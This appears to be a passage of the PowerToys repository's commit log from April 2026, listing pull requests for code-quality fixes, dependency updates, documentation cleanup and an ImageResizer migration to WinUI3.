Refactored PadImage to return a bool and use an out parameter for the
padded bitmap, with [NotNullWhen(true)] for nullability. Updated
GetWindowBoundsImage to handle disposal of the original bitmap when
padding is applied, improving memory management and code clarity.

<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-04-03 01:09:44 +00:00
Clint Rutkas
fd5be6d04e Fix SA1614: Add text to empty parameter documentation (#46706)
Add meaningful descriptions to 3 empty param XML doc tags in
BaseDscTest.cs and ShellHelpers.cs.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-02 03:41:59 +00:00
Clint Rutkas
4dfdf46e0d Fix WMC1506 XAML compiler warnings in AdvancedPaste (#46726)
## Summary

Fixes all 13 **WMC1506** XAML compiler warnings ("OneWay bindings
require at least one of their steps to support raising notifications
when their value changes") by changing \Mode=OneWay\ to \Mode=OneTime\
on \x:Bind\ expressions bound to non-observable properties.

## Details

**Root cause:** \PasteFormat\ (plain sealed class) and \ClipboardItem\
(plain class) do not implement \INotifyPropertyChanged\. Using
\Mode=OneWay\ on their properties creates subscriptions that will never
fire, generating WMC1506 warnings.

**Fix:** Changed to \Mode=OneTime\ which is semantically correct — these
properties are set once and never change after construction.

**Files changed:**
- \ClipboardHistoryItemPreviewControl.xaml\ — 2 bindings (\Header\,
\Timestamp\)
- \MainPage.xaml\ — 11 bindings across \PasteFormat\ and \ClipboardItem\
DataTemplates

**Note on ClipboardHistoryItemPreviewControl:** Its computed properties
(\Header\, \Timestamp\) are refreshed via \Bindings.Update()\ when the
\ClipboardItem\ DependencyProperty changes. \Bindings.Update()\ forces
re-evaluation of all \x:Bind\ bindings regardless of mode, so \OneTime\
works correctly here.

## Validation

- [x] Full solution build passes (exit code 0)
- [x] Zero WMC1506 warnings after changes (was 13 before)
- [x] No behavioral changes — only binding mode optimization

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-02 00:52:57 +02:00
Jay
1c4ecc23c6 Cleanup md files (root folder) (#46582)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

Cleaning up Markdown files, including:

- [Learn Authoring
Pack](https://marketplace.visualstudio.com/items?itemName=docsmsft.docs-authoring-pack)
in Visual Studio Code
- consolidating list item bullets
- spelling and grammar
- HTML tables and links to Markdown

To do:

- [x] Sentence casing in headers
https://learn.microsoft.com/en-us/style-guide/capitalization#sentence-style-capitalization-in-titles-and-headings
      (Copilot quotum was reached 🤓)
- [ ] NOTICE.md: text in code blocks or not??

---------

Co-authored-by: Niels Laute <niels.laute@live.nl>
2026-04-01 21:08:38 +00:00
dependabot[bot]
5888f6eb7f Chore(deps): Bump azure/cli from 2 to 3 (#46562)
Bumps [azure/cli](https://github.com/azure/cli) from 2 to 3.
<details>
<summary>Release notes</summary>
<p><em>Sourced from <a
href="https://github.com/azure/cli/releases">azure/cli's
releases</a>.</em></p>
<blockquote>
<h2>GitHub Action for Azure CLI v3</h2>
<h2>What's Changed</h2>
<ul>
<li>Updated to use node24 by <a
href="https://github.com/thomas-temby"><code>@​thomas-temby</code></a>
in <a
href="https://redirect.github.com/Azure/cli/pull/197">Azure/cli#197</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a
href="https://github.com/Azure/cli/compare/v2.2.0...v3">https://github.com/Azure/cli/compare/v2.2.0...v3</a></p>
<h2>GitHub Action for Azure CLI v3.0.0</h2>
<h2>What's Changed</h2>
<ul>
<li>Updated to use node24 by <a
href="https://github.com/thomas-temby"><code>@​thomas-temby</code></a>
in <a
href="https://redirect.github.com/Azure/cli/pull/197">Azure/cli#197</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a
href="https://github.com/Azure/cli/compare/v2.2.0...v3.0.0">https://github.com/Azure/cli/compare/v2.2.0...v3.0.0</a></p>
<h2>GitHub Action for Azure CLI v2.2.0</h2>
<h2>What's Changed</h2>
<ul>
<li>Mount <code>AZURE_CONFIG_DIR</code> folder instead of
<code>~/.azure</code> by <a
href="https://github.com/MoChilia"><code>@​MoChilia</code></a> in <a
href="https://redirect.github.com/Azure/cli/pull/176">Azure/cli#176</a></li>
<li>FIX: Broken links by appended dot azcliversion errors by <a
href="https://github.com/nselpriv"><code>@​nselpriv</code></a> in <a
href="https://redirect.github.com/Azure/cli/pull/178">Azure/cli#178</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a href="https://github.com/nselpriv"><code>@​nselpriv</code></a>
made their first contribution in <a
href="https://redirect.github.com/Azure/cli/pull/178">Azure/cli#178</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a
href="https://github.com/Azure/cli/compare/v2.1.0...v2.2.0">https://github.com/Azure/cli/compare/v2.1.0...v2.2.0</a></p>
<h2>GitHub Action for Azure CLI v2.1.0</h2>
<h2>What's Changed</h2>
<ul>
<li>docs: add yaml syntax highlighting to workflow examples by <a
href="https://github.com/baysideengineer"><code>@​baysideengineer</code></a>
in <a
href="https://redirect.github.com/Azure/cli/pull/141">Azure/cli#141</a></li>
<li>Fix <a
href="https://redirect.github.com/azure/cli/issues/153">#153</a>:
Prevent stdout cutoff in Azure CLI versions by <a
href="https://github.com/MoChilia"><code>@​MoChilia</code></a> in <a
href="https://redirect.github.com/Azure/cli/pull/154">Azure/cli#154</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a
href="https://github.com/baysideengineer"><code>@​baysideengineer</code></a>
made their first contribution in <a
href="https://redirect.github.com/Azure/cli/pull/141">Azure/cli#141</a></li>
<li><a href="https://github.com/isra-fel"><code>@​isra-fel</code></a>
made their first contribution in <a
href="https://redirect.github.com/Azure/cli/pull/151">Azure/cli#151</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a
href="https://github.com/Azure/cli/compare/v2.0.0...v2.1.0">https://github.com/Azure/cli/compare/v2.0.0...v2.1.0</a></p>
</blockquote>
</details>
<details>
<summary>Changelog</summary>
<p><em>Sourced from <a
href="https://github.com/Azure/cli/blob/master/ReleaseProcess.md">azure/cli's
changelog</a>.</em></p>
<blockquote>
<p><strong>Releasing a new version</strong></p>
<p>Semanting versioning is used to release different versions of the
action. Following steps are to be followed :</p>
<ol>
<li>Create a new branch for every major version. <br />
Example, releases/v1, releases/v2.</li>
<li>For every minor and patch release for a major version, update the
corresponding release branch. <br />
Example, for releasing v1.1.1, update releases/v1.</li>
<li>Create tags for every new release (major/minor/patch). <br />
Example,v1.0.0. , v1.0.1, v2.0.1, etc. and also have tags like v1, v2
for every major version release.</li>
<li>On releasing minor and patch versions, update the tag of the
corresponding major version. <br />
Example, for releasing v1.0.1, update the v1 tag to point to the ref of
the current release. <br />
The following commands are to be run on the release\v1 branch so that it
picks the latest commit and updates the v1 tag accordingly :
(Ensure that you are on same commit locally as you want to release)</li>
</ol>
<ul>
<li><code>git tag -fa v1 -m &quot;Update v1 tag&quot;</code></li>
<li><code>git push origin v1 --force</code></li>
</ul>
</blockquote>
</details>
<details>
<summary>Commits</summary>
<ul>
<li><a
href="9eb25b8360"><code>9eb25b8</code></a>
Release v3.0.0 (<a
href="https://redirect.github.com/azure/cli/issues/199">#199</a>)</li>
<li><a
href="c1ad80439a"><code>c1ad804</code></a>
Add changes (<a
href="https://redirect.github.com/azure/cli/issues/198">#198</a>)</li>
<li><a
href="41fca1b4f8"><code>41fca1b</code></a>
Updated to use node24 (<a
href="https://redirect.github.com/azure/cli/issues/197">#197</a>)</li>
<li><a
href="cbea6ec14d"><code>cbea6ec</code></a>
change the assignee (<a
href="https://redirect.github.com/azure/cli/issues/191">#191</a>)</li>
<li>See full diff in <a
href="https://github.com/azure/cli/compare/v2...v3">compare
view</a></li>
</ul>
</details>
<br />


[![Dependabot compatibility
score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=azure/cli&package-manager=github_actions&previous-version=2&new-version=3)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)

Dependabot will resolve any conflicts with this PR as long as you don't
alter it yourself. You can also trigger a rebase manually by commenting
`@dependabot rebase`.

[//]: # (dependabot-automerge-start)
[//]: # (dependabot-automerge-end)

---

<details>
<summary>Dependabot commands and options</summary>
<br />

You can trigger Dependabot actions by commenting on this PR:
- `@dependabot rebase` will rebase this PR
- `@dependabot recreate` will recreate this PR, overwriting any edits
that have been made to it
- `@dependabot show <dependency name> ignore conditions` will show all
of the ignore conditions of the specified dependency
- `@dependabot ignore this major version` will close this PR and stop
Dependabot creating any more for this major version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this minor version` will close this PR and stop
Dependabot creating any more for this minor version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this dependency` will close this PR and stop
Dependabot creating any more for this dependency (unless you reopen the
PR or upgrade to it yourself)


</details>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-04-01 22:22:51 +02:00
Clint Rutkas
152f64151b Fix MSTEST0017: Correct assertion argument order (#46712)
Swap expected/actual arguments in 22 Assert calls to follow the correct
MSTest convention of Assert.AreEqual(expected, actual).

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-01 13:15:14 -07:00
Clint Rutkas
76b773b016 Fix SA1616: Add text to empty return value documentation (#46718)
Add meaningful descriptions to 6 empty returns XML doc tags across DSC,
CmdPal, and Extensions.Toolkit.

---------

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-01 21:58:09 +02:00
Copilot
0da5602f68 CmdPal: Update CommunityToolkit.WinUI to 8.2.251219 and remove SearchBar debouncer hacks (#46027)
## Summary of the Pull Request

Updates all `CommunityToolkit.WinUI` packages from `8.2.250402` to
`8.2.251219` (latest stable) and removes three workaround hacks from
`SearchBar.xaml.cs` that were added to paper over bugs in the
`CommunityToolkit.WinUI.Extensions` debouncer (`Debounce` with
`immediate: true` not firing correctly). Those bugs were fixed upstream
and are included in `8.2.251219`.

## PR Checklist

- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

## Detailed Description of the Pull Request / Additional comments

### Package update (`Directory.Packages.props`)

All `CommunityToolkit.WinUI` packages bumped from `8.2.250402` →
`8.2.251219`:

- `CommunityToolkit.WinUI.Animations`
- `CommunityToolkit.WinUI.Collections`
- `CommunityToolkit.WinUI.Controls.Primitives`
- `CommunityToolkit.WinUI.Controls.SettingsControls`
- `CommunityToolkit.WinUI.Controls.Segmented`
- `CommunityToolkit.WinUI.Controls.Sizers`
- `CommunityToolkit.WinUI.Converters`
- `CommunityToolkit.WinUI.Extensions`

### Hack removals (`SearchBar.xaml.cs`)

All three hacks were in `SearchBar.xaml.cs` (`Controls/`), tagged `TODO
GH #245`:

- **`FilterBox_TextChanged` — "TERRIBLE HACK"**: Forced
`DoFilterBoxUpdate()` immediately for any single-character input, then
returned early—bypassing the debouncer entirely. Now the debouncer's
`immediate: FilterBox.Text.Length <= 1` path handles this correctly.

- **Escape key handler**: After `FilterBox.Text = string.Empty`,
manually pushed the empty string to
`CurrentPageViewModel.SearchTextBox`. The `TextChanged` event fires
after the assignment and the debouncer (with `immediate: true` for
length 0) now handles propagation.

- **Backspace key handler (`else if (e.Key == VirtualKey.Back)`
block)**: Pre-emptively set `CurrentPageViewModel.SearchTextBox` to the
*pre-deletion* text in `FilterBox_KeyDown`. Entire block removed;
`TextChanged` + debouncer handle the post-deletion update correctly.

## Validation Steps Performed

Manually verified in CmdPal that:
- Typing aliases (single-character triggers) still activates filtering
immediately
- Pressing Escape clears the search box and resets the filter
- Pressing Backspace correctly updates search results after each
deletion

<!-- START COPILOT ORIGINAL PROMPT -->



<details>

<summary>Original prompt</summary>

> 
> ----
> 
> *This section details on the original issue you should resolve*
> 
> <issue_title>Update to the latest `CommunityToolkit.WinUI.Extensions`
and remove hacks</issue_title>
> <issue_description>_originally filed by @zadjii-msft_
> 
> See
https://github.com/zadjii-msft/PowerToys/pull/236#discussion_r1887714771
> 
> I had to stick a couple of HACKs into `SearchBar.xaml.cs` to work
around bugs in the toolkit debouncer. Those bugs have since been fixed
upstream, hooray! We just need a new version of the package shipped and
we can get rid of them.
> 
> ref https://github.com/zadjii-msft/PowerToys/issues/236
> 
> ----
> 
> Also!
> 
> Revert 
> 
> ```
> // TODO(stefan): REVERT THIS TO DASHBOARD PAGE!!!! SPELCHHHHEEK FAIL
> ```
> 
> from
https://github.com/zadjii-msft/PowerToys/issues/215</issue_description>
> 
> ## Comments on the Issue (you are @copilot in this section)
> 
> <comments>
> <comment_new><author>@niels9001</author><body>
> @zadjii-msft @michaeljolley I assume we are on a later version now? Do
we still need to remove the hacks?</body></comment_new>
> <comment_new><author>@zadjii-msft</author><body>
> We sure do!
> 
> There's the SearchBar.xaml.cs ones, and I also had to manually copy
over the `TypedEventHandlerExtensions.cs`</body></comment_new>
> </comments>
> 


</details>



<!-- START COPILOT CODING AGENT SUFFIX -->

- Fixes microsoft/PowerToys#38285

<!-- START COPILOT CODING AGENT TIPS -->
---

🔒 GitHub Advanced Security automatically protects Copilot coding agent
pull requests. You can protect all pull requests by enabling Advanced
Security for your repositories. [Learn more about Advanced
Security.](https://gh.io/cca-advanced-security)

---------

Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: niels9001 <9866362+niels9001@users.noreply.github.com>
Co-authored-by: Niels Laute <niels.laute@live.nl>
2026-04-01 13:41:23 -05:00
Clint Rutkas
565094abbe Fix SA1623: Fix property documentation summaries (#46717)
Update 29 property XML doc summaries to begin with Gets, Gets or sets,
or Gets a value indicating whether as required by StyleCop SA1623.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-01 09:46:25 -07:00
Clint Rutkas
1314f68602 Fix SA1622: Add text to empty generic type parameter documentation (#46707)
Add meaningful description to 1 empty typeparam XML doc tag in
BaseDscTest.cs.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-01 09:07:40 -07:00
Niels Laute
fbad0dce9c Add /need-monitor-info command (#45636)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-04-01 20:38:16 +08:00
Dustin L. Howett
36a5b77e6c chore: Update to WIL 1.0.250325.1 (#43503)
## Summary of the Pull Request

Updates the Windows Implementation Library (WIL) to version
1.0.250325.1. This fixes some static analysis warnings in C++ projects
that use WIL.

The version is now managed centrally via `Directory.Packages.props`
(Central Package Management), replacing the previous per-project
`packages.config` approach.

## PR Checklist

- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

## Detailed Description of the Pull Request / Additional comments

- Updated `Microsoft.Windows.ImplementationLibrary` from `1.0.231216.1`
to `1.0.250325.1` in `Directory.Packages.props`.
- The change is a single-line update since the codebase uses Central
Package Management — all C++ projects reference WIL via
`PackageReference` without specifying a version number directly.

## Validation Steps Performed

- Verified `Directory.Packages.props` correctly reflects the new WIL
version `1.0.250325.1`.
- Merged latest `main` branch to resolve conflicts arising from the
migration to Central Package Management.

Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: niels9001 <9866362+niels9001@users.noreply.github.com>
2026-04-01 20:27:56 +08:00
moooyo
4ce451edd0 [ImageResizer] Fix the missing settings of png encoder (#46695)
- Apply codec-specific encoder properties (e.g. JPEG quality) in the
transcode path when transforms are required, matching WPF behavior.
- Apply PngInterlaceOption to the WinRT PNG encoder via the
"InterlaceOption" BitmapPropertySet entry; previously the setting was
persisted but never passed to the encoder.

<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

Co-authored-by: Yu Leng (from Dev Box) <yuleng@microsoft.com>
Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-01 10:25:53 +00:00
Ray Cheung
42924e71c7 Fix the build.ps1 that does not work well with -RestoreOnly switch (#46012)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

Fix the `build.ps1` that does not work well with `-RestoreOnly` switch.
Also there is `.slnf` now and the build script should support it.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-04-01 10:14:37 +00:00
PesBandi
addebb8126 [QuickAccent] Add capitalization for Superscript Latin Small Letter N (#46571)
## Summary of the Pull Request
Adds capitalization for ⁿ (U+207F Superscript Latin Small Letter N -> ᴺ
(U+1D3A Modifier Letter Capital N).
This technically isn't a Unicode case pair, however there isn't any
official capitalization for ⁿ and also where else would a user expect ᴺ
if not on Shift+N.
## PR Checklist

- [x] Closes: #26060
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [x] **Localization:** All end-user-facing strings can be localized
- [x] **Dev docs:** No need
- [x] **New binaries:** None
- [x] **Documentation updated:** No need

## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
Manually tested
2026-04-01 11:13:59 +02:00
Gijs Reijn
3b6453c932 Improve DSC documentation (#42554)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

This documentation enhances the DSC documentation by incorporating
reference documents and providing examples.

Closes #42552.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #xxx
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

---------

Co-authored-by: Niels Laute <niels.laute@live.nl>
2026-04-01 16:56:40 +08:00
Niels Laute
2c97e04019 Add missing telem events (#46371)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-04-01 16:44:50 +08:00
Kai Tao
d27594c4f7 Settings: Fix settings arrow render (#46454)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Existing: 
<img width="1201" height="150" alt="image"
src="https://github.com/user-attachments/assets/5e764875-bed8-45b5-97a8-60e5f475c296"
/>

A box icon for whatever up, down, left, right, they are not treated as
Glyph icon rendered, instead as normal text

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

<img width="1273" height="714" alt="image"
src="https://github.com/user-attachments/assets/4d2ffa92-e0ca-44f4-8eda-9c4a7e05bbde"
/>
2026-04-01 10:29:53 +02:00
moooyo
ac28b1c29f Migrate ImageResizer to WinUI3 (#45288)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Migrate WPF/WinForms utility to WinUI3 can give us many benefit.
1. Only WinUI3 support AOT. By this change, we can remove the blocker to
make imageResizer publish with AOT enabled to improve the performance.
Through the previous testing in CmdPal, it can improve about 1.5x to 3x
perf.
2. WinUI 3 provides a modern UI and makes sure that our experiences fit
in with the Windows 11 look and feel.
3. We can merge many redundant code to the same one and reduce more
codebase and installed size in the future if we successfully migrate all
remaining WPF/WinForms utility to WinUI3.


<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #46465
